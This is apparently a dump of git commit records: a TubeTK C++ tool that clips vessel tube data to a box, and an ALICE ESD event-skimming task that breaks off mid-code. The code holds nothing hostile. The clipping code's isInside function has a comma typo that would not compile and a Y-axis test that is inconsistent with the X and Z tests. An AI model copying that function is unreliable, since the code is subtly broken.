std::string( err.GetDescription() ) );\n timeCollector.Report();\n return EXIT_FAILURE;\n }\n \n typename TubeGroupType::Pointer pSourceTubeGroup = \n tubeFileReader->GetGroup();\n typename TubeGroupType::ChildrenListPointer pSourceTubeList =\n pSourceTubeGroup->GetChildren();\n \n timeCollector.Stop( \"Loading Input TRE File\" );\n \n \/\/ Compute clipping \n tubeStandardOutputMacro( << \"\\n>> Finding Tubes for Clipping\" );\n \n timeCollector.Start( \"Selecting Tubes\" );\n \/\/Target Group to save desired tubes\n typename TubeGroupType::Pointer pTargetTubeGroup = TubeGroupType::New();\n \n int targetTubeId=0;\n \n for( typename TubeGroupType::ChildrenListType::iterator\n tubeList_it = pSourceTubeList->begin();\n tubeList_it != pSourceTubeList->end(); ++tubeList_it)\n { \n \/\/**** Source Tube **** :\n typename TubeType::Pointer pCurSourceTube = \n dynamic_cast< TubeType* >( tubeList_it->GetPointer() ); \n \/\/dynamic_cast verification\n if(!pCurSourceTube)\n {\n return EXIT_FAILURE;\n } \n \/\/Point List for TargetTube \n typename TubeType::PointListType TargetPointList;\n \/\/Get points in current source tube\n typename TubeType::PointListType pointList = \n pCurSourceTube->GetPoints(); \n \n for( typename TubeType::PointListType::const_iterator\n pointList_it = pointList.begin();\n pointList_it != pointList.end(); ++pointList_it )\n {\n TubePointType curSourcePoint = *pointList_it;\n typename TubePointType::PointType curSourcePos = \n curSourcePoint.GetPosition();\n \/\/Save point in target tube if it belongs to the box \n if(isInside(curSourcePos,curSourcePoint.GetRadius(),boxCorner,boxSize))\n\t{ \n\tif(ClipTubes)\n\t {\n\t TargetPointList.push_back(curSourcePoint);\n\t }\n\telse\n\t {\n\t pCurSourceTube->SetId(targetTubeId);\n\t ++targetTubeId;\n\t pTargetTubeGroup->AddSpatialObject(pCurSourceTube);\n\t break;\n\t } \n\t} \t \n else\n\t{\n\tif( TargetPointList.size() > 0 )\n\t {\n\t \/\/**** Target Tube **** :\n\t typename TubeType::Pointer pTargetTube = TubeType::New();\n\t pTargetTube->SetId(targetTubeId);\n\t ++targetTubeId;\n\t \/\/Save clipped tube\n\t pTargetTube->SetPoints(TargetPointList);\n\t pTargetTubeGroup->AddSpatialObject(pTargetTube);\n\t \n\t TargetPointList.clear();\n\t }\n\t}\n } \n } \n timeCollector.Stop( \"Selecting Tubes\" );\n \n \/\/ Write output TRE file\n tubeStandardOutputMacro(\n << \"\\n>> Writing TRE file\" );\n\n timeCollector.Start( \"Writing output TRE file\" );\n \n typedef itk::SpatialObjectWriter< VDimension > TubeWriterType;\n typename TubeWriterType::Pointer tubeWriter = TubeWriterType::New();\n\n try\n {\n tubeWriter->SetFileName( outputTREFile.c_str() );\n tubeWriter->SetInput(pTargetTubeGroup);\n tubeWriter->Update();\n }\n catch( itk::ExceptionObject & err )\n {\n tube::ErrorMessage( \"Error writing TRE file: \"\n + std::string( err.GetDescription() ) );\n timeCollector.Report();\n return EXIT_FAILURE;\n }\n\n timeCollector.Stop( \"Writing output TRE file\" );\n timeCollector.Report();\n return EXIT_SUCCESS;\n}\n\n\n\/\/ Main\nint main( int argc, char * argv[] )\n{\n try\n {\n PARSE_ARGS;\n }\n catch( const std::exception & err )\n {\n tube::ErrorMessage( err.what() );\n return EXIT_FAILURE;\n }\n PARSE_ARGS;\n \n if(boxCorner.empty() || boxSize.empty())\n {\n tube::ErrorMessage(\n \"Error: longflags --boxCorner and --boxSize are both required\");\n return EXIT_FAILURE;\n }\n \n MetaScene *mScene = new MetaScene;\n mScene->Read( inputTREFile.c_str() );\n \n if( mScene->GetObjectList()->empty() )\n {\n tubeWarningMacro( << \"Input TRE file has no spatial objects\" );\n return EXIT_SUCCESS;\n }\n\n switch( mScene->GetObjectList()->front()->NDims() )\n {\n case 2:\n {\n return DoIt<2>( argc, argv );\n break;\n }\n\n case 3:\n {\n return DoIt<3>( argc, argv );\n break;\n }\n\n default:\n {\n tubeErrorMacro(\n\t<< \"Error: Only 2D and 3D data is currently supported.\");\n return EXIT_FAILURE;\n }\n }\n}<commit_msg>STYLE: KWStyle test OK<commit_after>\/*=========================================================================\n Library: TubeTK\n \n Copyright 2010 Kitware Inc. 28 Corporate Drive,\n Clifton Park, NY, 12065, USA.\n \n All rights reserved.\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n=========================================================================*\/\n#include <iostream>\n#include <sstream>\n\n#include \"itkTimeProbesCollectorBase.h\"\n#include \"tubeMessage.h\"\n\n#include \"tubeMacro.h\"\n#include \"metaScene.h\"\n\n#include \"itkSpatialObjectReader.h\"\n#include \"itkSpatialObjectWriter.h\"\n#include \"itkGroupSpatialObject.h\"\n\n#include \"ClipTubesCLP.h\"\n\ntemplate< unsigned int VDimension >\nbool isInside (itk::Point<double,VDimension> pointPos, double tubeRadius,\n std::vector<double> boxPos, std::vector<double> boxSize)\n{\n \/\/ Return a boolean indicating if any slice of the tube\n \/\/ is included in the box.\n \/\/ A slice is considered as a point and an associated radius\n bool hasXInside=false;\n bool hasYInside=false,\n bool hasZInside=false;\n \n if( pointPos[0] + tubeRadius >= boxPos[0] &&\n pointPos[0] - tubeRadius <= boxPos[0] + boxSize[0] )\n {\n hasXInside = true;\n }\n if( pointPos[1] <= boxPos[1] &&\n pointPos[1] >= boxPos[1] - boxSize[1] )\n {\n hasYInside = true;\n }\n switch( VDimension )\n {\n case 2:\n {\n hasZInside = true;\n break;\n }\n case 3:\n {\n if( pointPos[2] + tubeRadius >= boxPos[2] &&\n pointPos[2] - tubeRadius <= boxPos[2] + boxSize[2] )\n {\n hasZInside = true;\n }\n break;\n }\n default:\n {\n tubeErrorMacro(\n << \"Error: Only 2D and 3D data is currently supported.\" );\n return EXIT_FAILURE;\n }\n }\n \n return (hasXInside && hasYInside && hasZInside);\n}\n\n\ntemplate< unsigned int VDimension >\nint DoIt (int argc, char * argv[])\n{\n PARSE_ARGS;\n\n \/\/ Ensure that the input image dimension is valid\n \/\/ We only support 2D and 3D Images due to the\n \/\/ limitation of itkTubeSpatialObject\n if( VDimension != 2 && VDimension != 3 )\n {\n tube::ErrorMessage(\n \"Error: Only 2D and 3D data is currently supported.\");\n return EXIT_FAILURE;\n }\n \n \/\/ The timeCollector to perform basic profiling of algorithmic components\n itk::TimeProbesCollectorBase timeCollector;\n \n \/\/ Load TRE File\n tubeStandardOutputMacro( << \"\\n>> Loading TRE File\" );\n\n typedef itk::SpatialObjectReader< VDimension > TubesReaderType;\n typedef itk::GroupSpatialObject< VDimension > TubeGroupType;\n\/\/typedef itk::TubeSpatialObject< VDimension > TubeType;\n\/*WARNING :\n dynamic_cast on \"typedef itk::TubeSpatialObject< VDimension > TubeType\"\n causes SEGFAULT\n so TubeType corresponds to VesselTubeType to prevent issues\n so TubePointType corresponds to VesselTubePointType *\/\n typedef itk::VesselTubeSpatialObject< VDimension > TubeType;\n typedef itk::VesselTubeSpatialObjectPoint< VDimension > TubePointType;\n\n timeCollector.Start( \"Loading Input TRE File\" );\n \n typename TubesReaderType::Pointer tubeFileReader = TubesReaderType::New();\n \n try\n {\n tubeFileReader->SetFileName( inputTREFile.c_str() );\n tubeFileReader->Update();\n }\n catch( itk::ExceptionObject & err )\n {\n tube::ErrorMessage( \"Error loading TRE File: \"\n + std::string( err.GetDescription() ) );\n timeCollector.Report();\n return EXIT_FAILURE;\n }\n \n typename TubeGroupType::Pointer pSourceTubeGroup =\n tubeFileReader->GetGroup();\n typename TubeGroupType::ChildrenListPointer pSourceTubeList =\n pSourceTubeGroup->GetChildren();\n \n timeCollector.Stop( \"Loading Input TRE File\" );\n \n \/\/ Compute clipping\n tubeStandardOutputMacro( << \"\\n>> Finding Tubes for Clipping\" );\n \n timeCollector.Start( \"Selecting Tubes\" );\n \/\/Target Group to save desired tubes\n typename TubeGroupType::Pointer pTargetTubeGroup = TubeGroupType::New();\n \n int targetTubeId=0;\n \n for( typename TubeGroupType::ChildrenListType::iterator\n tubeList_it = pSourceTubeList->begin();\n tubeList_it != pSourceTubeList->end(); ++tubeList_it)\n {\n \/\/**** Source Tube **** :\n typename TubeType::Pointer pCurSourceTube =\n dynamic_cast< TubeType* >( tubeList_it->GetPointer() );\n \/\/dynamic_cast verification\n if(!pCurSourceTube)\n {\n return EXIT_FAILURE;\n }\n \/\/Point List for TargetTube\n typename TubeType::PointListType TargetPointList;\n \/\/Get points in current source tube\n typename TubeType::PointListType pointList =\n pCurSourceTube->GetPoints();\n \n for( typename TubeType::PointListType::const_iterator\n pointList_it = pointList.begin();\n pointList_it != pointList.end(); ++pointList_it )\n {\n TubePointType curSourcePoint = *pointList_it;\n typename TubePointType::PointType curSourcePos =\n curSourcePoint.GetPosition();\n \/\/Save point in target tube if it belongs to the box\n if(isInside(curSourcePos,curSourcePoint.GetRadius(),boxCorner,boxSize))\n {\n if(ClipTubes)\n {\n TargetPointList.push_back(curSourcePoint);\n }\n else\n {\n pCurSourceTube->SetId(targetTubeId);\n ++targetTubeId;\n pTargetTubeGroup->AddSpatialObject(pCurSourceTube);\n break;\n }\n }\n else\n {\n if( TargetPointList.size() > 0 )\n {\n \/\/**** Target Tube **** :\n typename TubeType::Pointer pTargetTube = TubeType::New();\n pTargetTube->SetId(targetTubeId);\n ++targetTubeId;\n \/\/Save clipped tube\n pTargetTube->SetPoints(TargetPointList);\n pTargetTubeGroup->AddSpatialObject(pTargetTube);\n\n TargetPointList.clear();\n }\n }\n }\n }\n timeCollector.Stop( \"Selecting Tubes\" );\n \n \/\/ Write output TRE file\n tubeStandardOutputMacro(\n << \"\\n>> Writing TRE file\" );\n\n timeCollector.Start( \"Writing output TRE file\" );\n \n typedef itk::SpatialObjectWriter< VDimension > TubeWriterType;\n typename TubeWriterType::Pointer tubeWriter = TubeWriterType::New();\n\n try\n {\n tubeWriter->SetFileName( outputTREFile.c_str() );\n tubeWriter->SetInput(pTargetTubeGroup);\n tubeWriter->Update();\n }\n catch( itk::ExceptionObject & err )\n {\n tube::ErrorMessage( \"Error writing TRE file: \"\n + std::string( err.GetDescription() ) );\n timeCollector.Report();\n return EXIT_FAILURE;\n }\n\n timeCollector.Stop( \"Writing output TRE file\" );\n timeCollector.Report();\n return EXIT_SUCCESS;\n}\n\n\n\/\/ Main\nint main( int argc, char * argv[] )\n{\n try\n {\n PARSE_ARGS;\n }\n catch( const std::exception & err )\n {\n tube::ErrorMessage( err.what() );\n return EXIT_FAILURE;\n }\n PARSE_ARGS;\n \n if(boxCorner.empty() || boxSize.empty())\n {\n tube::ErrorMessage(\n \"Error: longflags --boxCorner and --boxSize are both required\");\n return EXIT_FAILURE;\n }\n \n MetaScene *mScene = new MetaScene;\n mScene->Read( inputTREFile.c_str() );\n \n if( mScene->GetObjectList()->empty() )\n {\n tubeWarningMacro( << \"Input TRE file has no spatial objects\" );\n return EXIT_SUCCESS;\n }\n\n switch( mScene->GetObjectList()->front()->NDims() )\n {\n case 2:\n {\n return DoIt<2>( argc, argv );\n break;\n }\n\n case 3:\n {\n return DoIt<3>( argc, argv );\n break;\n }\n\n default:\n {\n tubeErrorMacro(\n << \"Error: Only 2D and 3D data is currently supported.\");\n return EXIT_FAILURE;\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ $Id$\n\/\/\n\/\/ Task to skim ESD files.\n\/\/\n\/\/\n\n#include \"AliEsdSkimTask.h\"\n#include <TClonesArray.h>\n#include <TFile.h>\n#include <TTree.h>\n#include \"AliAnalysisManager.h\"\n#include \"AliESDEvent.h\"\n#include \"AliESDtrackCuts.h\"\n#include \"AliMultiplicity.h\"\n\n\/\/_________________________________________________________________________________________________\nAliEsdSkimTask::AliEsdSkimTask(const char *opt) :\n AliAnalysisTaskSE(opt), fEvent(0), fTree(0), fCuts(0),\n fDoZDC(1), fDoV0(1), fDoT0(1), fDoTPCv(1), fDoSPDv(1), fDoPriv(1),\n fDoEmCs(1), fDoPCs(1), fDoEmT(1), fDoPT(1), fDoTracks(1), fDoMult(1),\n fDoTof(1), fDoPileup(1), fDoClus(1), fEmcNames(\"\"), \n fDoMiniTracks(0), fTracks(\"Tracks\"), fPhosClusOnly(0)\n{\n \/\/ Constructor.\n\n if (!opt)\n return;\n\n DefineOutput(1, TTree::Class());\n}\n\n\/\/_________________________________________________________________________________________________\nvoid AliEsdSkimTask::UserExec(Option_t *\/*opt*\/) \n{\n \/\/ Process event.\n\n AliESDEvent *esdin = dynamic_cast<AliESDEvent*>(InputEvent());\n if (!esdin)\n return;\n\n AliAnalysisManager *am = AliAnalysisManager::GetAnalysisManager();\n\n fEvent->Reset();\n\n TList* objsin = esdin->GetList();\n TList* objsout = fEvent->GetList();\n\n AliESDHeader *header = dynamic_cast<AliESDHeader*>(objsin->FindObject(\"AliESDHeader\"));\n if (header) {\n am->LoadBranch(\"AliESDHeader.\");\n *header = *esdin->GetHeader();\n }\n AliESDRun *run = dynamic_cast<AliESDRun*>(objsin->FindObject(\"AliESDRun\"));\n if (run) {\n am->LoadBranch(\"AliESDRun.\");\n *run = *esdin->GetESDRun();\n }\n AliESDZDC *zdc = dynamic_cast<AliESDZDC*>(objsin->FindObject(\"AliESDZDC\"));\n if (zdc) {\n am->LoadBranch(\"AliESDZDC.\");\n *zdc = *esdin->GetESDZDC();\n }\n AliESDVZERO *v0 = dynamic_cast<AliESDVZERO*>(objsin->FindObject(\"AliESDVZERO\"));\n if (v0) {\n am->LoadBranch(\"AliESDVZERO.\");\n *v0 = *esdin->GetVZEROData();\n }\n AliESDTZERO *t0 = dynamic_cast<AliESDTZERO*>(objsin->FindObject(\"AliESDTZERO\"));\n if (t0) {\n am->LoadBranch(\"AliESDTZERO.\");\n *t0 = *esdin->GetESDTZERO();\n }\n AliESDVertex *tpcv = dynamic_cast<AliESDVertex*>(objsin->FindObject(\"TPCVertex\"));\n if (tpcv) {\n am->LoadBranch(\"TPCVertex.\");\n *tpcv = *esdin->GetPrimaryVertexTPC();\n }\n AliESDVertex *spdv = dynamic_cast<AliESDVertex*>(objsin->FindObject(\"SPDVertex\"));\n if (spdv) {\n am->LoadBranch(\"SPDVertex.\");\n *spdv = *esdin->GetPrimaryVertexSPD();\n }\n AliESDVertex *priv = dynamic_cast<AliESDVertex*>(objsin->FindObject(\"PrimaryVertex\"));\n if (priv) {\n am->LoadBranch(\"PrimaryVertex.\");\n *priv = *esdin->GetPrimaryVertexTracks();\n }\n AliESDCaloCells *ecells = dynamic_cast<AliESDCaloCells*>(objsin->FindObject(\"EMCALCells\"));\n if (ecells) {\n am->LoadBranch(\"EMCALCells.\");\n *ecells = *esdin->GetEMCALCells();\n }\n AliESDCaloCells *pcells = dynamic_cast<AliESDCaloCells*>(objsin->FindObject(\"PHOSCells\"));\n if (pcells) {\n am->LoadBranch(\"PHOSCells.\");\n *pcells = *esdin->GetPHOSCells();\n }\n AliESDCaloTrigger *etrig = dynamic_cast<AliESDCaloTrigger*>(objsin->FindObject(\"EMCALTrigger\"));\n if (etrig) {\n am->LoadBranch(\"EMCALTrigger.\");\n *etrig = *esdin->GetCaloTrigger(\"EMCAL\");\n }\n AliESDCaloTrigger *ptrig = dynamic_cast<AliESDCaloTrigger*>(objsin->FindObject(\"PHOSTrigger\"));\n if (ptrig) {\n am->LoadBranch(\"PHOSTrigger.\");\n *ptrig = *esdin->GetCaloTrigger(\"PHOS\");\n }\n\n AliMultiplicity *mult = dynamic_cast<AliMultiplicity*>(objsin->FindObject(\"AliMultiplicity\"));\n if (mult) {\n am->LoadBranch(\"AliMultiplicity.\");\n *mult = *esdin->GetMultiplicity();\n }\n\n AliTOFHeader *tofh = dynamic_cast<AliTOFHeader*>(objsin->FindObject(\"AliTOFHeader\"));\n if (tofh) {\n am->LoadBranch(\"AliTOFHeader.\");\n *tofh = *esdin->GetTOFHeader();\n }\n TClonesArray *spup = dynamic_cast<TClonesArray*>(objsin->FindObject(\"SPDPileupVertices\"));\n if (spup) {\n am->LoadBranch(\"SPDPileupVertices\");\n Int_t N = esdin->GetNumberOfPileupVerticesSPD();\n for (Int_t i=0; i<N; ++i) {\n const AliESDVertex *vtx = esdin->GetPileupVertexSPD(i);\n if (vtx)\n fEvent->AddPileupVertexSPD(vtx);\n }\n }\n TClonesArray *tpup = dynamic_cast<TClonesArray*>(objsin->FindObject(\"TrkPileupVertices\"));\n if (tpup) {\n am->LoadBranch(\"TrkPileupVertices\");\n Int_t N = esdin->GetNumberOfPileupVerticesTracks();\n for (Int_t i=0; i<N; ++i) {\n const AliESDVertex *vtx = esdin->GetPileupVertexTracks(i);\n if (vtx)\n fEvent->AddPileupVertexTracks(vtx);\n }\n }\n TClonesArray *clus = dynamic_cast<TClonesArray*>(objsin->FindObject(\"CaloClusters\"));\n if (clus) {\n am->LoadBranch(\"\");\n Int_t N = esdin->GetNumberOfCaloClusters();\n for (Int_t i=0; i<N; ++i) {\n AliESDCaloCluster *c = esdin->GetCaloCluster(i);\n if (fPhosClusOnly && c->IsEMCAL())\n continue;\n if (c)\n fEvent->AddCaloCluster(c);\n }\n }\n TObjArray *namearr = fEmcNames.Tokenize(\";\");\n if (namearr) {\n for (Int_t i=0; i<namearr->GetEntries(); ++i) {\n TString cname(namearr->At(i)->GetName());\n if (cname.Length()<=0)\n continue;\n TClonesArray *arrin = dynamic_cast<TClonesArray*>(objsin->FindObject(cname));\n TClonesArray *arrout = dynamic_cast<TClonesArray*>(objsout->FindObject(cname));\n \/\/AliFatal(Form(\"Can not find tracks with name %s\", fTracks.Data()));\n arrout->Delete();\n const Int_t N = arrin->GetEntries();\n for (Int_t iC=0, nC=0; iC<N; ++iC) {\n AliESDCaloCluster *c = dynamic_cast<AliESDCaloCluster*>(arrin->At(iC));\n if (!c)\n continue;\n new ((*arrout)[nC++]) AliESDCaloCluster(*c);\n }\n }\n delete namearr;\n }\n if (fDoTracks) {\n am->LoadBranch(\"Tracks\");\n TClonesArray *tracks = dynamic_cast<TClonesArray*>(objsin->FindObject(fTracks));\n if (!tracks) {\n AliFatal(Form(\"Can not find tracks with name %s\", fTracks.Data()));\n return;\n }\n const Int_t Ntracks = tracks->GetEntries();\n Int_t nacc = 0;\n for (Int_t iTracks = 0; iTracks < Ntracks; ++iTracks) {\n AliESDtrack *track = dynamic_cast<AliESDtrack*>(tracks->At(iTracks));\n if (!track)\n continue;\n if (fCuts) {\n if (!fCuts->IsSelected(track))\n continue;\n }\n if (fDoMiniTracks) {\n track->MakeMiniESDtrack();\n }\n fEvent->AddTrack(track);\n ++nacc;\n }\n if (fCuts) \n AliInfo(Form(\"Selected %d out of %d \\n\", nacc, Ntracks));\n }\n fTree->Fill();\n}\n\n\/\/_________________________________________________________________________________________________\nvoid AliEsdSkimTask::UserCreateOutputObjects() \n{\n \/\/ Create output objects.\n\n fTree = new TTree(\"esdTree\", \"Tree with skimmed ESD objects\");\n fEvent = new AliESDEvent;\n fEvent->AddObject(new AliESDHeader());\n fEvent->AddObject(new AliESDRun());\n if (fDoZDC) \n fEvent->AddObject(new AliESDZDC());\n if (fDoV0)\n fEvent->AddObject(new AliESDVZERO());\n if (fDoT0)\n fEvent->AddObject(new AliESDTZERO());\n if (fDoTPCv) {\n AliESDVertex *tpcv = new AliESDVertex();\n tpcv->SetName(\"TPCVertex\");\n fEvent->AddObject(tpcv);\n }\n if (fDoSPDv) {\n AliESDVertex *spdv = new AliESDVertex();\n spdv->SetName(\"SPDVertex\");\n fEvent->AddObject(spdv);\n }\n if (fDoPriv) {\n AliESDVertex *priv = new AliESDVertex();\n priv->SetName(\"PrimaryVertex\");\n fEvent->AddObject(priv);\n }\n if (fDoEmCs) {\n fEvent->AddObject(new AliESDCaloCells(\"EMCALCells\",\"EMCALCells\"));\n }\n if (fDoPCs) {\n fEvent->AddObject(new AliESDCaloCells(\"PHOSCells\",\"PHOSCells\"));\n }\n if (fDoEmT) {\n AliESDCaloTrigger *etrig = new AliESDCaloTrigger;\n etrig->SetName(\"EMCALTrigger\");\n fEvent->AddObject(etrig);\n }\n if (fDoPT) {\n AliESDCaloTrigger *ptrig = new AliESDCaloTrigger;\n ptrig->SetName(\"PHOSTrigger\");\n fEvent->AddObject(ptrig);\n }\n if (fDoMult) {\n fEvent->AddObject(new AliMultiplicity());\n }\n if (fDoPileup) {\n TClonesArray *arr1 = new TClonesArray(\"AliESDVertex\",0);\n arr1->SetName(\"SPDPileupVertices\");\n fEvent->AddObject(arr1);\n TClonesArray *arr2 = new TClonesArray(\"AliESDVertex\",0);\n arr2->SetName(\"TPCPileupVertices\");\n fEvent->AddObject(arr2);\n }\n if (fDoTof) { \n fEvent->AddObject(new AliTOFHeader());\n }\n if (fDoClus) {\n TClonesArray *arr = new TClonesArray(\"AliESDCaloCluster\",0);\n arr->SetName(\"CaloClusters\");\n fEvent->AddObject(arr);\n }\n TObjArray *namearr = fEmcNames.Tokenize(\";\");\n if (namearr) {\n for (Int_t i=0; i<namearr->GetEntries(); ++i) {\n TString cname(namearr->At(i)->GetName());\n if (cname.Length()<=0)\n continue;\n TClonesArray *arr = new TClonesArray(\"AliESDCaloCluster\",0);\n arr->SetName(cname);\n fEvent->AddObject(arr);\n }\n delete namearr;\n }\n if (fDoTracks) {\n TClonesArray *arr = new TClonesArray(\"AliESDtrack\",0);\n arr->SetName(\"Tracks\");\n fEvent->AddObject(arr);\n }\n fEvent->GetStdContent();\n fEvent->WriteToTree(fTree);\n fTree->GetUserInfo()->Add(fEvent);\n TFile *file = OpenFile(1);\n fTree->SetDirectory(file);\n fTree->SetAutoFlush(-1024*1024*1024);\n fTree->SetAutoSave(-1024*1024*1024);\n PostData(1,fTree);\n}\n<commit_msg>make mini esd tracks<commit_after>\/\/ $Id$\n\/\/\n\/\/ Task to skim ESD files.\n\/\/\n\/\/\n\n#include \"AliEsdSkimTask.h\"\n#include <TClonesArray.h>\n#include <TFile.h>\n#include <TTree.h>\n#include \"AliAnalysisManager.h\"\n#include \"AliESDEvent.h\"\n#include \"AliESDtrackCuts.h\"\n#include \"AliMultiplicity.h\"\n\n\/\/_________________________________________________________________________________________________\nAliEsdSkimTask::AliEsdSkimTask(const char *opt) :\n AliAnalysisTaskSE(opt), fEvent(0), fTree(0), fCuts(0),\n fDoZDC(1), fDoV0(1), fDoT0(1), fDoTPCv(1), fDoSPDv(1), fDoPriv(1),\n fDoEmCs(1), fDoPCs(1), fDoEmT(1), fDoPT(1), fDoTracks(1), fDoMult(1),\n fDoTof(1), fDoPileup(1), fDoClus(1), fEmcNames(\"\"), \n fDoMiniTracks(0), fTracks(\"Tracks\"), fPhosClusOnly(0)\n{\n \/\/ Constructor.\n\n if (!opt)\n return;\n\n DefineOutput(1, TTree::Class());\n}\n\n\/\/_________________________________________________________________________________________________\nvoid AliEsdSkimTask::UserExec(Option_t *\/*opt*\/) \n{\n \/\/ Process event.\n\n AliESDEvent *esdin = dynamic_cast<AliESDEvent*>(InputEvent());\n if (!esdin)\n return;\n\n AliAnalysisManager *am = AliAnalysisManager::GetAnalysisManager();\n\n fEvent->Reset();\n\n TList* objsin = esdin->GetList();\n TList* objsout = fEvent->GetList();\n\n AliESDHeader *header = dynamic_cast<AliESDHeader*>(objsin->FindObject(\"AliESDHeader\"));\n if (header) {\n am->LoadBranch(\"AliESDHeader.\");\n *header = *esdin->GetHeader();\n }\n AliESDRun *run = dynamic_cast<AliESDRun*>(objsin->FindObject(\"AliESDRun\"));\n if (run) {\n am->LoadBranch(\"AliESDRun.\");\n *run = *esdin->GetESDRun();\n }\n AliESDZDC *zdc = dynamic_cast<AliESDZDC*>(objsin->FindObject(\"AliESDZDC\"));\n if (zdc) {\n am->LoadBranch(\"AliESDZDC.\");\n *zdc = *esdin->GetESDZDC();\n }\n AliESDVZERO *v0 = dynamic_cast<AliESDVZERO*>(objsin->FindObject(\"AliESDVZERO\"));\n if (v0) {\n am->LoadBranch(\"AliESDVZERO.\");\n *v0 = *esdin->GetVZEROData();\n }\n AliESDTZERO *t0 = dynamic_cast<AliESDTZERO*>(objsin->FindObject(\"AliESDTZERO\"));\n if (t0) {\n am->LoadBranch(\"AliESDTZERO.\");\n *t0 = *esdin->GetESDTZERO();\n }\n AliESDVertex *tpcv = dynamic_cast<AliESDVertex*>(objsin->FindObject(\"TPCVertex\"));\n if (tpcv) {\n am->LoadBranch(\"TPCVertex.\");\n *tpcv = *esdin->GetPrimaryVertexTPC();\n }\n AliESDVertex *spdv = dynamic_cast<AliESDVertex*>(objsin->FindObject(\"SPDVertex\"));\n if (spdv) {\n am->LoadBranch(\"SPDVertex.\");\n *spdv = *esdin->GetPrimaryVertexSPD();\n }\n AliESDVertex *priv = dynamic_cast<AliESDVertex*>(objsin->FindObject(\"PrimaryVertex\"));\n if (priv) {\n am->LoadBranch(\"PrimaryVertex.\");\n *priv = *esdin->GetPrimaryVertexTracks();\n }\n AliESDCaloCells *ecells = dynamic_cast<AliESDCaloCells*>(objsin->FindObject(\"EMCALCells\"));\n if (ecells) {\n am->LoadBranch(\"EMCALCells.\");\n *ecells = *esdin->GetEMCALCells();\n }\n AliESDCaloCells *pcells = dynamic_cast<AliESDCaloCells*>(objsin->FindObject(\"PHOSCells\"));\n if (pcells) {\n am->LoadBranch(\"PHOSCells.\");\n *pcells = *esdin->GetPHOSCells();\n }\n AliESDCaloTrigger *etrig = dynamic_cast<AliESDCaloTrigger*>(objsin->FindObject(\"EMCALTrigger\"));\n if (etrig) {\n am->LoadBranch(\"EMCALTrigger.\");\n *etrig = *esdin->GetCaloTrigger(\"EMCAL\");\n }\n AliESDCaloTrigger *ptrig = dynamic_cast<AliESDCaloTrigger*>(objsin->FindObject(\"PHOSTrigger\"));\n if (ptrig) {\n am->LoadBranch(\"PHOSTrigger.\");\n *ptrig = *esdin->GetCaloTrigger(\"PHOS\");\n }\n\n AliMultiplicity *mult = dynamic_cast<AliMultiplicity*>(objsin->FindObject(\"AliMultiplicity\"));\n if (mult) {\n am->LoadBranch(\"AliMultiplicity.\");\n *mult = *esdin->GetMultiplicity();\n }\n\n AliTOFHeader *tofh = dynamic_cast<AliTOFHeader*>(objsin->FindObject(\"AliTOFHeader\"));\n if (tofh) {\n am->LoadBranch(\"AliTOFHeader.\");\n *tofh = *esdin->GetTOFHeader();\n }\n TClonesArray *spup = dynamic_cast<TClonesArray*>(objsin->FindObject(\"SPDPileupVertices\"));\n if (spup) {\n am->LoadBranch(\"SPDPileupVertices\");\n Int_t N = esdin->GetNumberOfPileupVerticesSPD();\n for (Int_t i=0; i<N; ++i) {\n const AliESDVertex *vtx = esdin->GetPileupVertexSPD(i);\n if (vtx)\n fEvent->AddPileupVertexSPD(vtx);\n }\n }\n TClonesArray *tpup = dynamic_cast<TClonesArray*>(objsin->FindObject(\"TrkPileupVertices\"));\n if (tpup) {\n am->LoadBranch(\"TrkPileupVertices\");\n Int_t N = esdin->GetNumberOfPileupVerticesTracks();\n for (Int_t i=0; i<N; ++i) {\n const AliESDVertex *vtx = esdin->GetPileupVertexTracks(i);\n if (vtx)\n fEvent->AddPileupVertexTracks(vtx);\n }\n }\n TClonesArray *clus = dynamic_cast<TClonesArray*>(objsin->FindObject(\"CaloClusters\"));\n if (clus) {\n am->LoadBranch(\"\");\n Int_t N = esdin->GetNumberOfCaloClusters();\n for (Int_t i=0; i<N; ++i) {\n AliESDCaloCluster *c = esdin->GetCaloCluster(i);\n if (fPhosClusOnly && c->IsEMCAL())\n continue;\n if (c)\n fEvent->AddCaloCluster(c);\n }\n }\n TObjArray *namearr = fEmcNames.Tokenize(\";\");\n if (namearr) {\n for (Int_t i=0; i<namearr->GetEntries(); ++i) {\n TString cname(namearr->At(i)->GetName());\n if (cname.Length()<=0)\n continue;\n TClonesArray *arrin = dynamic_cast<TClonesArray*>(objsin->FindObject(cname));\n TClonesArray *arrout = dynamic_cast<TClonesArray*>(objsout->FindObject(cname));\n \/\/AliFatal(Form(\"Can not find tracks with name %s\", fTracks.Data()));\n arrout->Delete();\n const Int_t N = arrin->GetEntries();\n for (Int_t iC=0, nC=0; iC<N; ++iC) {\n AliESDCaloCluster *c = dynamic_cast<AliESDCaloCluster*>(arrin->At(iC));\n if (!c)\n continue;\n new ((*arrout)[nC++]) AliESDCaloCluster(*c);\n }\n }\n delete namearr;\n }\n if (fDoTracks) {\n am->LoadBranch(\"Tracks\");\n TClonesArray *tracks = dynamic_cast<TClonesArray*>(objsin->FindObject(fTracks));\n if (!tracks) {\n AliFatal(Form(\"Can not find tracks with name %s\", fTracks.Data()));\n return;\n }\n const Int_t Ntracks = tracks->GetEntries();\n Int_t nacc = 0;\n for (Int_t iTracks = 0; iTracks < Ntracks; ++iTracks) {\n AliESDtrack *track = dynamic_cast<AliESDtrack*>(tracks->At(iTracks));\n if (!track)\n continue;\n if (fCuts) {\n if (!fCuts->IsSelected(track))\n continue;\n }\n if (fDoMiniTracks) {\n class AliEsdMiniTrack : public AliESDtrack\n {\n public: \n AliEsdMiniTrack(const AliESDtrack &t) : AliESDtrack(t) {}\n void MakeMiniESDtrack() { \n delete fCp; fCp = 0;\n delete fIp; fIp = 0;\n delete fTPCInner; fTPCInner = 0;\n delete fOp; fOp = 0;\n delete fHMPIDp; fHMPIDp = 0;\n for (Int_t i=0; i<3;i++) fKinkIndexes[i] = 0;\n for (Int_t i=0; i<3;i++) fV0Indexes[i] = 0;\n fTRDchi2 = 0; \n fTRDncls = 0; \n fTRDncls0 = 0; \n fTRDsignal = 0; \n for (Int_t i=0;i<kTRDnPlanes;i++) {\n fTRDTimBin[i] = 